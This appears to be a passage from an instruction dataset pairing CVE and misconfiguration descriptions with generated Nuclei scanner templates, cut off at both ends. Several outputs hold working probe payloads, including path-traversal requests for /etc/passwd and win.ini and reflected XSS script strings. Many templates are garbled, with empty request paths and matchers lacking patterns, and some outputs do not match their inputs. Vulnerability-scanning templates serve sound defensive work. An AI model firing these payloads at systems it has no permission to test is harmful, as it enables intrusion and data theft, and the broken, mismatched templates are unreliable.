  tags: cve,cve2024,securenvoy,ldap,vuln

http:
  - method: GET
    path:
    matchers:
      - type: dsl
        condition: and


Instruction: Generate a Nuclei template for CVE-2019-0192

Input:
Title: Deserialization of Untrusted Data in apache solr and others
Summary: In Apache Solr versions 5.0.0 to 5.5.5 and 6.0.0 to 6.6.5, the Config API allows to configure the JMX server via an HTTP POST request. By pointing it to a malicious RMI server, an attacker could take advantage of Solr's unsafe deserialization to trigger remote code execution on the Solr side.
Vulnerability Type: Deserialization of Untrusted Data
Severity: critical
Affected Products: apache solr, netapp storage_automation_store
Indicators: error, vulnerability detected

Output:
id: CVE-2019-0192

info:
  name: Apache Solr - Deserialization of Untrusted Data
  author: hnd3884
  severity: critical
  description: In Apache Solr versions 5.0.0 to 5.5.5 and 6.0.0 to 6.6.5, the Config API allows to configure the JMX server via an HTTP POST request. By pointing it to a malicious RMI server, an attacker could take advantage of Solr's unsafe deserialization to trigger remote code execution on the Solr side.
  tags: cve,cve2019,apache,solr,deserialization,rce,oast,vkev,vuln

http:
  - method: GET
    path:
    matchers:
      - type: status
        status:
          - 200
  - method: GET
    path:
    matchers:
      - type: dsl
        condition: and


Instruction: Generate a Nuclei template to detect Exposure of Sensitive Information to an Unauthorized Actor

Input:
Title: Exposure of Sensitive Information to an Unauthorized Actor (CWE-200)
Summary: The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. There are many different kinds of mistakes that introduce information exposures. The severity of the error can range widely, depending on the context in which the product operates, the type of sensitive information that is revealed, and the benefits it may provide to an attacker.  Some kinds of sensitive information include:
        private, personal information, such as p
Vulnerability Type: Exposure of Sensitive Information to an Unauthorized Actor
Severity: medium
Indicators: error, unauthorized

Output:
id: royalevent-management-panel

info:
  name: Royal Event Management System Admin Panel - Detect
  author: ritikchaddha
  severity: info
  description: Royal Event Management System admin panel was detected.
  tags: royalevent,panel,discovery

http:
  - method: GET
    path:
      - "{{BaseURL}}/royal_event/"
    matchers:
      - type: word
        words:
          - "Royal Event Management Software"
          - "Welcome Administrator"
        part: body
        condition: and
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for CVE-2010-1540

Input:
Title: Path Traversal in myblog com_myblog
Summary: Directory traversal vulnerability in index.php in the MyBlog (com_myblog) component 3.0.329 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the task parameter.  NOTE: some of these details are obtained from third party information.
Vulnerability Type: Path Traversal
Severity: medium
Affected Products: myblog com_myblog
Indicators: error, vulnerability detected

Output:
id: CVE-2010-1540

info:
  name: Joomla! Component com_blog - Directory Traversal
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in index.php in the MyBlog (com_myblog) component 3.0.329 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the task parameter.
  tags: cve2010,cve,joomla,lfi,edb,myblog,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_myblog&Itemid=1&task=../../../../../../../../etc/passwd%00"
    matchers:
      - type: regex
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for CVE-2025-48828

Input:
Title: Vulnerability (CWE-424) in vbulletin vbulletin
Summary: Certain vBulletin versions might allow attackers to execute arbitrary PHP code by abusing Template Conditionals in the template engine. By crafting template code in an alternative PHP function invocation syntax, such as the "var_dump"("test") syntax, attackers can bypass security checks and execute arbitrary PHP code, as exploited in the wild in May 2025.
Vulnerability Type: Vulnerability (CWE-424)
Severity: critical
Affected Products: vbulletin vbulletin
Indicators: error, vulnerability detected

Output:
id: CVE-2025-48828

info:
  name: vBulletin replaceAdTemplate - Remote Code Execution
  author: DhiyaneshDK, Chocapikk
  severity: critical
  description: vBulletin versions 5.0.0 through 6.0.3 contain a Remote Code Execution (RCE) vulnerability in the ajax/api/ad/replaceAdTemplate endpoint. This flaw arises from improper use of PHP's Reflection API, allowing unauthenticated attackers to invoke protected controller methods. By injecting a crafted <vb:if> conditional that executes arbitrary PHP code via passthru($_POST[<param>]), and triggering it with a second request to ajax/render/ad_<location>, attackers can run arbitrary commands on the server as the webserver user.
  tags: cve,cve2025,rce,vbulletin,intrusive,vkev,vuln

http:
  - method: GET
    path:
    matchers:
      - type: dsl
        condition: and
  - method: GET
    path:
    matchers:
      - type: dsl
        condition: and


Instruction: Generate a Nuclei template for: Azure PostgreSQL Flexible Server log_checkpoints Disabled

Input:
Title: Azure PostgreSQL Flexible Server log_checkpoints Disabled
Summary: Azure PostgreSQL Flexible Server log_checkpoints Disabled. Ensure that "log_checkpoints" server parameter is enabled for all PostgreSQL flexible database servers available within your Microsoft Azure cloud account. The "log_checkpoints" parameter allows checkpoints and restart points to be logged in the Azure PostgreSQL server log.

Vulnerability Type: Security Check
Severity: medium
Indicators: vulnerability detected

Output:
id: azure-postgres-log-checkpoints-disabled

info:
  name: Azure PostgreSQL Flexible Server log_checkpoints Disabled
  author: princechaddha
  severity: medium
  description: Ensure that "log_checkpoints" server parameter is enabled for all PostgreSQL flexible database servers available within your Microsoft Azure cloud account. The "log_checkpoints" parameter allows checkpoints and restart points to be logged in the Azure PostgreSQL server log.
  tags: cloud,devops,azure,microsoft,postgres,azure-cloud-config

http:
  - method: GET
    path:
      - "/"
    matchers:
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: Instatus API Test

Input:
Title: Instatus API Test
Summary: Instatus API Test. Post to and update maintenance and incidents on your status page through an HTTP REST API
Vulnerability Type: Security Check
Severity: info
Indicators: vulnerability detected

Output:
id: api-instatus

info:
  name: Instatus API Test
  author: daffainfo
  severity: info
  description: Post to and update maintenance and incidents on your status page through an HTTP REST API
  tags: token-spray,instatus

http:
  - method: GET
    path:
      - "https://api.instatus.com/v1/pages"
    matchers:
      - type: word
        words:
          - ""id":"
          - ""subdomain":"
          - ""name":"
          - ""logoUrl":"
        part: body
        condition: and


Instruction: Generate a Nuclei template for: Sharp Multifunction Printers - Local File Inclusion

Input:
Title: Sharp Multifunction Printers - Local File Inclusion
Summary: Sharp Multifunction Printers - Local File Inclusion. It was observed that Sharp printers are vulnerable to a local file inclusion without authentication. Any attacker can read any file located in the printer.

Vulnerability Type: Security Check
Severity: high
Indicators: vulnerability detected

Output:
id: sharp-printers-lfi

info:
  name: Sharp Multifunction Printers - Local File Inclusion
  author: gy741
  severity: high
  description: It was observed that Sharp printers are vulnerable to a local file inclusion without authentication. Any attacker can read any file located in the printer.
  tags: sharp,printer,lfi,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/installed_emanual_down.html?path=/manual/../../../etc/passwd"
    matchers:
      - type: regex
        part: body
      - type: word
        words:
          - "application/octet-stream; name=passwd"
        part: header
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template to detect Exposure of Sensitive Information to an Unauthorized Actor

Input:
Title: Exposure of Sensitive Information to an Unauthorized Actor (CWE-200)
Summary: The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. There are many different kinds of mistakes that introduce information exposures. The severity of the error can range widely, depending on the context in which the product operates, the type of sensitive information that is revealed, and the benefits it may provide to an attacker.  Some kinds of sensitive information include:
        private, personal information, such as p
Vulnerability Type: Exposure of Sensitive Information to an Unauthorized Actor
Severity: medium
Indicators: error, unauthorized

Output:
id: black-duck-panel

info:
  name: Black Duck Login Panel - Detect
  author: idealphase,ritikchaddha
  severity: info
  description: Black Duck login panel was detected.
  tags: panel,blackduck,synopsys,discovery

http:
  - method: GET
    path:
      - "{{BaseURL}}"
    matchers:
      - type: regex
        part: body
      - type: word
        words:
          - "ProtexLoginPage"
          - "CCLoginPage"
        part: body
        condition: or
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template to detect Exposure of Sensitive Information to an Unauthorized Actor

Input:
Title: Exposure of Sensitive Information to an Unauthorized Actor (CWE-200)
Summary: The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. There are many different kinds of mistakes that introduce information exposures. The severity of the error can range widely, depending on the context in which the product operates, the type of sensitive information that is revealed, and the benefits it may provide to an attacker.  Some kinds of sensitive information include:
        private, personal information, such as p
Vulnerability Type: Exposure of Sensitive Information to an Unauthorized Actor
Severity: medium
Indicators: error, unauthorized

Output:
id: securenvoy-panel

info:
  name: SecurEnvoy Login Panel - Detect
  author: 0xrod,righettod
  severity: info
  description: SecurEnvoy login panel was detected.
  tags: panel,securenvoy,discovery

http:
  - method: GET
    path:
      - "{{BaseURL}}/secadmin/"
      - "{{BaseURL}}/securenvoy/"
      - "{{BaseURL}}/secenrol/"
      - "{{BaseURL}}/RDWeb"
    matchers:
      - type: word
        words:
          - "<base href="/secadmin/">"
          - "SecurEnvoy Portal"
          - "SecurEnvoy Tokenless Authentication"
          - "Manage My Token : Authentication"
        part: body
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: Azure SQL Server Firewall Rule Create/Update/Delete Alert Not Configured

Input:
Title: Azure SQL Server Firewall Rule Create/Update/Delete Alert Not Configured
Summary: Azure SQL Server Firewall Rule Create/Update/Delete Alert Not Configured. Ensure that an Azure activity log alert is fired whenever “Create”, “Update” or “Delete SQL Server Firewall Rule” events are triggered in your Microsoft Azure cloud account. Activity log alerts get activated when a new activity log event that matches the condition specified in the alert occurs. In this case, the condition required for the alert is 'Whenever the Administrative Activity Log "Create/Update/Delete server firew
Vulnerability Type: Security Check
Severity: high
Indicators: vulnerability detected

Output:
id: azure-sql-fw-rule-unalerted

info:
  name: Azure SQL Server Firewall Rule Create/Update/Delete Alert Not Configured
  author: princechaddha
  severity: high
  description: Ensure that an Azure activity log alert is fired whenever “Create”, “Update” or “Delete SQL Server Firewall Rule” events are triggered in your Microsoft Azure cloud account. Activity log alerts get activated when a new activity log event that matches the condition specified in the alert occurs. In this case, the condition required for the alert is 'Whenever the Administrative Activity Log "Create/Update/Delete server firewall rule (Microsoft.Sql/servers/firewallRules)" has "any" level, with "any" status and event is initiated by "any"'.
  tags: cloud,devops,azure,microsoft,sql-server,azure-cloud-config

http:
  - method: GET
    path:
      - "/"
    matchers:
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for CVE-2021-24746

Input:
Title: Cross-Site Scripting (XSS) in heateor sassy_social_share
Summary: The Social Sharing Plugin WordPress plugin before 3.3.40 does not escape the viewed post URL before outputting it back in onclick attributes when the "Enable 'More' icon" option is enabled (which is the default setting), leading to a Reflected Cross-Site Scripting issue.
Vulnerability Type: Cross-Site Scripting (XSS)
Severity: medium
Affected Products: heateor sassy_social_share
Indicators: error, vulnerability detected

Output:
id: CVE-2021-24746

info:
  name: WordPress Sassy Social Share Plugin <3.3.40 - Cross-Site Scripting
  author: Supras
  severity: medium
  description: WordPress plugin Sassy Social Share < 3.3.40 contains a reflected cross-site scripting vulnerability.
  tags: cve,cve2021,wordpress,wp-plugin,xss,wp,wpscan,heateor,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-json/wp/v2/posts"
      - "{{BaseURL}}/{{slug}}/?a"><script>alert(document.domain)</script>"
    matchers:
      - type: word
        words:
          - "?a"><script>alert(document.domain)</script>"
        part: body
      - type: word
        words:
          - "text/html"
        part: header
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for CVE-2021-27905

Input:
Title: Vulnerability (CWE-918) in apache solr
Summary: The ReplicationHandler (normally registered at "/replication" under a Solr core) in Apache Solr has a "masterUrl" (also "leaderUrl" alias) parameter that is used to designate another ReplicationHandler on another Solr core to replicate index data into the local core. To prevent a SSRF vulnerability, Solr ought to check these parameters against a similar configuration it uses for the "shards" parameter. Prior to this bug getting fixed, it did not. This problem affects essentially all Solr versions prior to it getting fixed in 8.8.2.
Vulnerability Type: Vulnerability (CWE-918)
Severity: critical
Affected Products: apache solr
Indicators: error, vulnerability detected

Output:
id: CVE-2021-27905

info:
  name: Apache Solr <=8.8.1 - Server-Side Request Forgery
  author: hackergautam
  severity: critical
  description: Apache Solr versions 8.8.1 and prior contain a server-side request forgery vulnerability. The ReplicationHandler (normally registered at "/replication" under a Solr core) in Apache Solr has a "masterUrl" (also "leaderUrl" alias) parameter that is used to designate another ReplicationHandler on another Solr core to replicate index data into the local core. To prevent a SSRF vulnerability, Solr ought to check these parameters against a similar configuration it uses for the "shards" parameter.
  tags: cve2021,cve,apache,solr,ssrf,vuln

http:
  - method: GET
    path:
    matchers:
      - type: word
        words:
          - "<str name="status">OK</str>"
        part: body


Instruction: Generate a Nuclei template to detect Exposure of Sensitive Information to an Unauthorized Actor

Input:
Title: Exposure of Sensitive Information to an Unauthorized Actor (CWE-200)
Summary: The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. There are many different kinds of mistakes that introduce information exposures. The severity of the error can range widely, depending on the context in which the product operates, the type of sensitive information that is revealed, and the benefits it may provide to an attacker.  Some kinds of sensitive information include:
        private, personal information, such as p
Vulnerability Type: Exposure of Sensitive Information to an Unauthorized Actor
Severity: medium
Indicators: error, unauthorized

Output:
id: weblogic-login

info:
  name: Oracle WebLogic Login Panel - Detect
  author: bing0o,meme-lord
  severity: info
  description: Oracle WebLogic login panel was detected.
  tags: panel,oracle,weblogic,login,discovery

http:
  - method: GET
    path:
      - "{{BaseURL}}/console/login/LoginForm.jsp"
    matchers:
      - type: word
        words:
          - "WebLogic"
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: GeniusOcean Installer Exposure

Input:
Title: GeniusOcean Installer Exposure
Summary: GeniusOcean Installer Exposure. GeniusOcean is susceptible to the Installation page exposure due to misconfiguration.
Vulnerability Type: Security Check
Severity: high
Indicators: vulnerability detected

Output:
id: geniusocean-installer

info:
  name: GeniusOcean Installer Exposure
  author: DhiyaneshDk
  severity: high
  description: GeniusOcean is susceptible to the Installation page exposure due to misconfiguration.
  tags: misconfig,geniusocean,install,exposure,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/install/?step=1"
    matchers:
      - type: word
        words:
          - "GeniusOcean - Script Installer"
          - "GeniusOcean Installer"
        part: body
        condition: and
      - type: word
        words:
          - "text/html"
        part: header
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: SQL Server ReportViewer - Exposure

Input:
Title: SQL Server ReportViewer - Exposure
Summary: SQL Server ReportViewer - Exposure. SQL Server ReportViewer page exposed.
Vulnerability Type: Security Check
Severity: high
Indicators: vulnerability detected

Output:
id: sql-server-reportviewer

info:
  name: SQL Server ReportViewer - Exposure
  author: kazet
  severity: high
  description: SQL Server ReportViewer page exposed.
  tags: misconfig,sql,report,exposure,vuln

http:
  - method: GET
    path:
    matchers:
      - type: dsl
        condition: and


Instruction: Generate a Nuclei template for CVE-2020-12800

Input:
Title: Unrestricted File Upload in codedropz drag_and_drop_multiple_file_upload_-_contact_form_7
Summary: The drag-and-drop-multiple-file-upload-contact-form-7 plugin before 1.3.3.3 for WordPress allows Unrestricted File Upload and remote code execution by setting supported_type to php% and uploading a .php% file.
Vulnerability Type: Unrestricted File Upload
Severity: critical
Affected Products: codedropz drag_and_drop_multiple_file_upload_-_contact_form_7
Indicators: error, vulnerability detected

Output:
id: CVE-2020-12800

info:
  name: WordPress Contact Form 7 <1.3.3.3 - Remote Code Execution
  author: dwisiswant0
  severity: critical
  description: WordPress Contact Form 7 before 1.3.3.3 allows unrestricted file upload and remote code execution by setting supported_type to php% and uploading a .php% file.
  tags: cve,cve2020,wordpress,wp-plugin,fileupload,wp,rce,packetstorm,intrusive,codedropz,vkev,vuln

http:
  - method: GET
    path:
    matchers:
      - type: word
        words:
          - "CVE-2020-12800-{{randstr}}"
        part: body_2
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for CVE-2021-33851

Input:
Title: Cross-Site Scripting (XSS) in apasionados customize_login_image
Summary: A cross-site scripting (XSS) attack can cause arbitrary code (JavaScript) to run in a user's browser and can use an application as the vehicle for the attack. The XSS payload given in the "Custom logo link" executes whenever the user opens the Settings Page of the "Customize Login Image" Plugin.
Vulnerability Type: Cross-Site Scripting (XSS)
Severity: medium
Affected Products: apasionados customize_login_image
Indicators: error, vulnerability detected

Output:
id: CVE-2021-33851

info:
  name: WordPress Customize Login Image <3.5.3 - Cross-Site Scripting
  author: 8authur
  severity: medium
  description: WordPress Customize Login Image plugin prior to 3.5.3 contains a cross-site scripting vulnerability via the custom logo link on the Settings page. This can allow an attacker to steal cookie-based authentication credentials and launch other attacks.
  tags: cve,cve2021,wpscan,wordpress,customize-login-image,wp,authenticated,wp-plugin,xss,apasionados,vuln

http:
  - method: GET
    path:
    matchers:
      - type: dsl
        condition: and


Instruction: Generate a Nuclei template for: Webigniter 28.7.23 - Cross-Site Scripting

Input:
Title: Webigniter 28.7.23 - Cross-Site Scripting
Summary: Webigniter 28.7.23 - Cross-Site Scripting. The value of the redirect request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ycsz3"><script>alert(1)</script>bn76w was submitted in the redirect parameter. This input was echoed unmodified in the application's response. By using this Java Script injection, the attacker can trick a lot of users into visiting his dangerous URL which is reflected on the login form, before they lo
Vulnerability Type: Security Check
Severity: medium
Indicators: vulnerability detected

Output:
id: webigniter-xss

info:
  name: Webigniter 28.7.23 - Cross-Site Scripting
  author: theamanrawat
  severity: medium
  description: The value of the redirect request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ycsz3"><script>alert(1)</script>bn76w was submitted in the redirect parameter. This input was echoed unmodified in the application's response. By using this Java Script injection, the attacker can trick a lot of users into visiting his dangerous URL which is reflected on the login form, before they log in, warning them that there is a problem with the login
  tags: xss,webigniter,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/cms/login?redirect=cmsycsz3%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2fscript>bn76w"
      - "{{BaseURL}}/login?redirect=cmsycsz3%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2fscript>bn76w"
    matchers:
      - type: word
        words:
          - "<script>alert(document.domain)</script>"
          - "Webigniter"
        part: body
        condition: and
      - type: word
        words:
          - "text/html"
        part: header
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for CVE-2022-38553

Input:
Title: Cross-Site Scripting (XSS) in creativeitem academy_learning_management_system
Summary: Academy Learning Management System before v5.9.1 was discovered to contain a reflected cross-site scripting (XSS) vulnerability via the Search parameter.
Vulnerability Type: Cross-Site Scripting (XSS)
Severity: medium
Affected Products: creativeitem academy_learning_management_system
Indicators: error, vulnerability detected

Output:
id: CVE-2022-38553

info:
  name: Academy Learning Management System <5.9.1 - Cross-Site Scripting
  author: edoardottt
  severity: medium
  description: Academy Learning Management System before 5.9.1 contains a cross-site scripting vulnerability via the Search parameter. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  tags: cve2022,cve,academylms,xss,creativeitem,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/search?query=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E"
    matchers:
      - type: word
        words:
          - ""><script>alert(document.domain)</script>"
          - "Study any topic"
        part: body
        condition: and
      - type: word
        words:
          - "text/html"
        part: header
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for CVE-2023-22047

Input:
Title: Vulnerability (CWE-306) in oracle peoplesoft_enterprise
Summary: Vulnerability in the PeopleSoft Enterprise PeopleTools product of Oracle PeopleSoft (component: Portal).  Supported versions that are affected are 8.59 and  8.60. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise PeopleSoft Enterprise PeopleTools.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all PeopleSoft Enterprise PeopleTools accessible data. CVSS 3.1 Base Score 7.5 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).
Vulnerability Type: Vulnerability (CWE-306)
Severity: high
Affected Products: oracle peoplesoft_enterprise
Indicators: unauthorized

Output:
id: CVE-2023-22047

info:
  name: Oracle Peoplesoft - Unauthenticated File Read
  author: tuo4n8
  severity: high
  description: Vulnerability in the PeopleSoft Enterprise PeopleTools product of Oracle PeopleSoft (component- Portal).  Supported versions that are affected are 8.59 and  8.60. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise PeopleSoft Enterprise PeopleTools.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all PeopleSoft Enterprise PeopleTools accessible data.
  tags: cve,cve2023,oracle,peoplesoft,lfi,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/RP?wsrp-url=file:///etc/passwd"
      - "{{BaseURL}}/RP?wsrp-url=file:///c:\windows\win.ini"
    matchers:
      - type: regex
        condition: or
      - type: word
        words:
          - "content/unknown"
        part: content_type
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: GitList Disclosure

Input:
Title: GitList Disclosure
Summary: GitList Disclosure. GitList is exposed.. Tags: gitlist, misconfig, vuln
Vulnerability Type: Security Check
Severity: low
Indicators: vulnerability detected

Output:
id: gitlist-disclosure

info:
  name: GitList Disclosure
  author: dhiyaneshDK
  severity: low
  description: GitList is exposed.
  tags: gitlist,misconfig,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}"
    matchers:
      - type: word
        words:
          - "GitList</title>"
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for CVE-2023-0334

Input:
Title: Unknown Vulnerability in shortpixel shortpixel_adaptive_images
Summary: The ShortPixel Adaptive Images WordPress plugin before 3.6.3 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against any high privilege users such as admin
Vulnerability Type: Unknown Vulnerability
Severity: medium
Affected Products: shortpixel shortpixel_adaptive_images
Indicators: error, vulnerability detected

Output:
id: CVE-2023-0334

info:
  name: ShortPixel Adaptive Images < 3.6.3 - Cross Site Scripting
  author: r3Y3r53
  severity: medium
  description: The plugin does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against any high privilege users such as admin
  tags: cve2023,cve,xss,wpscan,wordpress,wp-plugin,wp,shortpixel-adaptive-images,shortpixel,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/?SPAI_VJS=%3C/script%3E%3Cimg%20src%3D1%20onerror%3Dalert(document.domain)%3E"
    matchers:
      - type: dsl
        condition: and


Instruction: Generate a Nuclei template for: ProxyKingdom API Test

Input:
Title: ProxyKingdom API Test
Summary: ProxyKingdom API Test. Rotating Proxy API that produces a working proxy on every request
Vulnerability Type: Security Check
Severity: info
Indicators: vulnerability detected

Output:
id: api-proxykingdom

info:
  name: ProxyKingdom API Test
  author: daffainfo
  severity: info
  description: Rotating Proxy API that produces a working proxy on every request
  tags: token-spray,proxykingdom

http:
  - method: GET
    path:
      - "https://api.proxykingdom.com/proxy?token={{token}}"
    matchers:
      - type: word
        words:
          - ""address""
          - ""port""
          - ""protocol""
        part: body
        condition: and


Instruction: Generate a Nuclei template for: Codoso APT PlugX Malware Hash - Detect

Input:
Title: Codoso APT PlugX Malware Hash - Detect
Summary: Codoso APT PlugX Malware Hash - Detect. Detects Codoso APT PlugX Malware.

Vulnerability Type: Security Check
Severity: info
Indicators: vulnerability detected

Output:
id: codoso-plugx-malware-hash

info:
  name: Codoso APT PlugX Malware Hash - Detect
  author: pussycat0x
  severity: info
  description: Detects Codoso APT PlugX Malware.
  tags: malware,apt,codoso

http:
  - method: GET
    path:
      - "/"
    matchers:
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for CVE-2021-24387

Input:
Title: Cross-Site Scripting (XSS) in contempothemes real_estate_7
Summary: The WP Pro Real Estate 7 WordPress theme before 3.1.1 did not properly sanitise the ct_community parameter in its search listing page before outputting it back in it, leading to a reflected Cross-Site Scripting which can be triggered in both unauthenticated or authenticated user context
Vulnerability Type: Cross-Site Scripting (XSS)
Severity: medium
Affected Products: contempothemes real_estate_7
Indicators: error, vulnerability detected

Output:
id: CVE-2021-24387

info:
  name: WordPress Pro Real Estate 7 Theme <3.1.1 - Cross-Site Scripting
  author: suman_kar
  severity: medium
  description: WordPress Pro Real Estate 7 theme before 3.1.1 contains a reflected cross-site scripting vulnerability. It does not properly sanitize the ct_community parameter in its search listing page before outputting it back.
  tags: cve,cve2021,xss,wordpress,wpscan,contempothemes,vuln

http:
  - method: GET
    path:
    matchers:
      - type: word
        words:
          - "<script>alert(document.domain);</script>"
          - "/wp-content/themes/realestate"
        part: body
        condition: and
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: Network Camera FTP Service - Detect

Input:
Title: Network Camera FTP Service - Detect
Summary: Network Camera FTP Service - Detect. Network Camera FTP service was detected.
Vulnerability Type: Security Check
Severity: info
Indicators: vulnerability detected

Output:
id: networkcamera-ftp-detect

info:
  name: Network Camera FTP Service - Detect
  author: pussycat0x
  severity: info
  description: Network Camera FTP service was detected.
  tags: network,ftp,networkcamera,detect,tcp,discovery

http:
  - method: GET
    path:
      - "/"
    matchers:
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for CVE-2011-4336

Input:
Title: Cross-Site Scripting (XSS) in tiki tikiwiki_cms\/groupware
Summary: Tiki Wiki CMS Groupware 7.0 has XSS via the GET "ajax" parameter to snarf_ajax.php.
Vulnerability Type: Cross-Site Scripting (XSS)
Severity: medium
Affected Products: tiki tikiwiki_cms\/groupware
Indicators: error, vulnerability detected

Output:
id: CVE-2011-4336

info:
  name: Tiki Wiki CMS Groupware 7.0 Cross-Site Scripting
  author: pikpikcu
  severity: medium
  description: Tiki Wiki CMS Groupware 7.0 is vulnerable to cross-site scripting via the GET "ajax" parameter to snarf_ajax.php.
  tags: cve,cve2011,seclists,xss,tikiwiki,tiki,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/snarf_ajax.php?url=1&ajax=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"
    matchers:
      - type: word
        words:
          - "</script><script>alert(document.domain)</script>"
        part: body
      - type: word
        words:
          - "text/html"
        part: header
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template to detect Exposure of Sensitive Information to an Unauthorized Actor

Input:
Title: Exposure of Sensitive Information to an Unauthorized Actor (CWE-200)
Summary: The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. There are many different kinds of mistakes that introduce information exposures. The severity of the error can range widely, depending on the context in which the product operates, the type of sensitive information that is revealed, and the benefits it may provide to an attacker.  Some kinds of sensitive information include:
        private, personal information, such as p
Vulnerability Type: Exposure of Sensitive Information to an Unauthorized Actor
Severity: medium
Indicators: error, unauthorized

Output:
id: phpstan-config

info:
  name: PHPStan Configuration Page - Detect
  author: DhiyaneshDK
  severity: info
  description: PHPStan configuration page was detected.
  tags: devops,exposure,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/phpstan.neon"
    matchers:
      - type: word
        words:
          - "parameters:"
      - type: word
        words:
          - "text/html"
          - "application/javascript"
        part: header
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for CVE-2021-44228

Input:
Title: Vulnerability (CWE-20) in siemens 6bk1602-0aa12-0tp0_firmware and others
Summary: Apache Log4j2 2.0-beta9 through 2.15.0 (excluding security releases 2.12.2, 2.12.3, and 2.3.1) JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled. From log4j 2.15.0, this behavior has been disabled by default. From version 2.16.0 (along with 2.12.2, 2.12.3, and 2.3.1), this functionality has been completely removed. Note that this vulnerability is specific to log4j-core and does not affect log4net, log4cxx, or other Apache Logging Services projects.
Vulnerability Type: Vulnerability (CWE-20)
Severity: critical
Affected Products: siemens 6bk1602-0aa12-0tp0_firmware, siemens 6bk1602-0aa22-0tp0_firmware, siemens 6bk1602-0aa32-0tp0_firmware
Indicators: error, vulnerability detected

Output:
id: vmware-nsx-log4j-rce

info:
  name: VMware NSX - Remote Code Execution (Apache Log4j)
  author: DhiyaneshDK
  severity: critical
  description: VMware NSX is susceptible to remote code execution via the Apache Log4j framework. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.
  tags: cve,cve2021,rce,jndi,log4j,graylog,kev,oast,vuln

http:
  - method: GET
    path:
    matchers:
      - type: word
        words:
          - "/login.jsp?login_error=1"
        part: location
      - type: word
        words:
          - "dns"
        part: interactsh_protocol
      - type: regex
        part: interactsh_request


Instruction: Generate a Nuclei template to detect Exposure of Sensitive Information to an Unauthorized Actor

Input:
Title: Exposure of Sensitive Information to an Unauthorized Actor (CWE-200)
Summary: The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. There are many different kinds of mistakes that introduce information exposures. The severity of the error can range widely, depending on the context in which the product operates, the type of sensitive information that is revealed, and the benefits it may provide to an attacker.  Some kinds of sensitive information include:
        private, personal information, such as p
Vulnerability Type: Exposure of Sensitive Information to an Unauthorized Actor
Severity: medium
Indicators: error, unauthorized

Output:
id: wiren-board-webui

info:
  name: Wiren Board WebUI Panel - Detect
  author: tess
  severity: medium
  description: Wiren Board WebUI panel was detected.
  tags: panel,exposure,wiren,discovery

http:
  - method: GET
    path:
      - "{{BaseURL}}/#!/dashboards"
    matchers:
      - type: word
        words:
          - "Wiren Board Web UI"
          - "accessLevel"
        part: body
        condition: and
      - type: word
        words:
          - "text/html"
        part: header
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: Pastebin API Test

Input:
Title: Pastebin API Test
Summary: Pastebin API Test. Plain Text Storage. Tags: token-spray, pastebin
Vulnerability Type: Security Check
Severity: info
Indicators: vulnerability detected

Output:
id: api-pastebin

info:
  name: Pastebin API Test
  author: daffainfo
  severity: info
  description: Plain Text Storage
  tags: token-spray,pastebin

http:
  - method: GET
    path:
    matchers:
      - type: word
        words:
          - "https://pastebin.com/"
        part: body


Instruction: Generate a Nuclei template for: VM Disk Encryption with Customer-Supplied Keys Disabled

Input:
